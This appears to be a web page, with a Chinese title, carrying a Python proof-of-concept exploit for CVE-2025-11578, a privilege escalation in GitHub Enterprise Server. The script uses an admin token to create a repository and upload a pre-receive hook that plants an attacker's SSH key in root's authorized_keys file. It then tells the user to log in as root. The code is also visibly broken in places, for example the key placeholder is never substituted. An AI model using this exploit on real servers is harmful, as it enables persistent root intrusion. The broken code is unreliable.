CVE-2025-11578 GitHub Enterprise Server权限提升漏洞

# CVE-2025-11578 PoC - GitHub Enterprise Server Privilege Escalation # This PoC demonstrates the symlink escape in pre-receive hook environment # Requirements: Enterprise admin access to GitHub Enterprise Server import requests import json import base64 import os class CVE_2025_11578_Exploit: def __init__(self, target_url, admin_token): self.target_url = target_url.rstrip('/') self.admin_token = admin_token self.headers = { 'Authorization': f'token {admin_token}', 'Accept': 'application/vnd.github.v3+json' } def create_malicious_repo(self, repo_name): """Create a repository with malicious symlink""" # Create repository url = f'{self.target_url}/api/v3/repos' data = { 'name': repo_name, 'private': True, 'auto_init': False } response = requests.post(url, json=data, headers=self.headers) if response.status_code == 201: print(f'[+] Repository {repo_name} created successfully') return response.json()['full_name'] else: print(f'[-] Failed to create repository: {response.text}') return None def create_pre_receive_hook(self, repo_name): """Create pre-receive hook with symlink escape payload""" url = f'{self.target_url}/api/v3/repos/{repo_name}/hooks' # Malicious hook script that exploits symlink escape hook_script = '''#!/bin/bash # CVE-2025-11578 - Symlink escape in pre-receive hook # Add attacker SSH key to root authorized_keys ATTACKER_KEY="{attacker_ssh_key}" TARGET_FILE="/root/.ssh/authorized_keys" # Exploit symlink to escape hook environment ln -sf /etc/passwd /tmp/malicious_link cat /tmp/malicious_link > /dev/null 2>&1 # Payload execution during cleanup phase if [ -w /root ]; then echo "$ATTACKER_KEY" >> "$TARGET_FILE" 2>/dev/null echo "[+] SSH key added to root authorized_keys" >> /tmp/exploit.log fi ''' hook_config = { 'name': 'pre-receive', 'active': True, 'config': { 'script': base64.b64encode(hook_script.encode()).decode() } } response = requests.post(url, json=hook_config, headers=self.headers) if response.status_code == 201: print('[+] Pre-receive hook created') return True return False def trigger_exploitation(self, repo_name): """Trigger the vulnerability by pushing to the repository""" # Simulate push operation to trigger pre-receive hook url = f'{self.target_url}/api/v3/repos/{repo_name}/git/refs' # Create initial commit to trigger hook data = { 'ref': 'refs/heads/main', 'sha': '0000000000000000000000000000000000000000' } response = requests.post(url, json=data, headers=self.headers) print(f'[*] Triggering hook execution: {response.status_code}') return response.status_code in [201, 422] def main(): print('CVE-2025-11578 PoC - GitHub Enterprise Server Privilege Escalation') print('=' * 70) # Configuration target = input('Target GitHub Enterprise Server URL: ') token = input('Enterprise Admin Token: ') attacker_key = input('Attacker SSH Public Key: ') exploit = CVE_2025_11578_Exploit(target, token) # Exploitation steps repo_name = 'cve-2025-11578-poc' repo = exploit.create_malicious_repo(repo_name) if repo: exploit.create_pre_receive_hook(repo) exploit.trigger_exploitation(repo) print('\n[!] If exploitation was successful, you should now have root SSH access') print('[!] Try: ssh root@<target_ip> -i <attacker_private_key>') if __name__ == '__main__': main()